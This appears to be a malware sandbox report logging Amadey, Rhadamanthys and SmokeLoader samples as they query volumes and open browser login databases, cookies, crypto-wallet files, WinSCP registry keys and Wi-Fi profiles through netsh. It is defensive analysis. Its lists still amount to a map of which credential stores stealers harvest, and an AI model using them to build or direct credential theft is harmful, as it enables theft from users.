Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\KATAXZVCPS.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\KATAXZVCPS.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\NWTVCDUMOB.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\YPSIACHYXW.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.docx VolumeInformation
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.docx VolumeInformation
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.xlsx VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\OpenWith.exe

Code function: 2_3_00007DF486EDF83C CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,

2_3_00007DF486EDF83C

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_0030065A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

15_2_0030065A

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_002E6080 DeleteObject,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

15_2_002E6080

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_002E7630 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

15_2_002E7630

Source: C:\Windows\System32\OpenWith.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.0.Utsysc.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Utsysc.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.B88B.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.B88B.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.Utsysc.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.2299545232.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.2323835443.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2303406320.000000000E710000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.2306338149.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\B88B.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000E.00000003.2331168114.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1713798691.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1718082970.0000000002F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2562723368.0000000004E55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2381378926.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2382224824.0000000002CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2601312967.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1717805323.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2656189017.000002077D791000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1768060344.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 13.0.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb3d090.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb2d070.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AppLaunch.exe.18e5fb34b00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\utihrjr, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: OpenWith.exe, 00000002.00000003.1855629748.000002427DAA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Qtum-Electrum\config
Source: OpenWith.exe, 00000002.00000003.1858602829.000002427DB61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\ElectronCash\config
Source: OpenWith.exe, 00000002.00000003.1857488476.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\com.liberty.jaxx
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Exodus\exodus.wallet
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Exodus\exodus.wallet
Source: OpenWith.exe, 00000002.00000003.1864315941.000002427DB55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Coinomi\Coinomi\wallets

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser\newtab
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\z6bny8rn.default
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\thumbnails
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing\google4
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash16598
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data
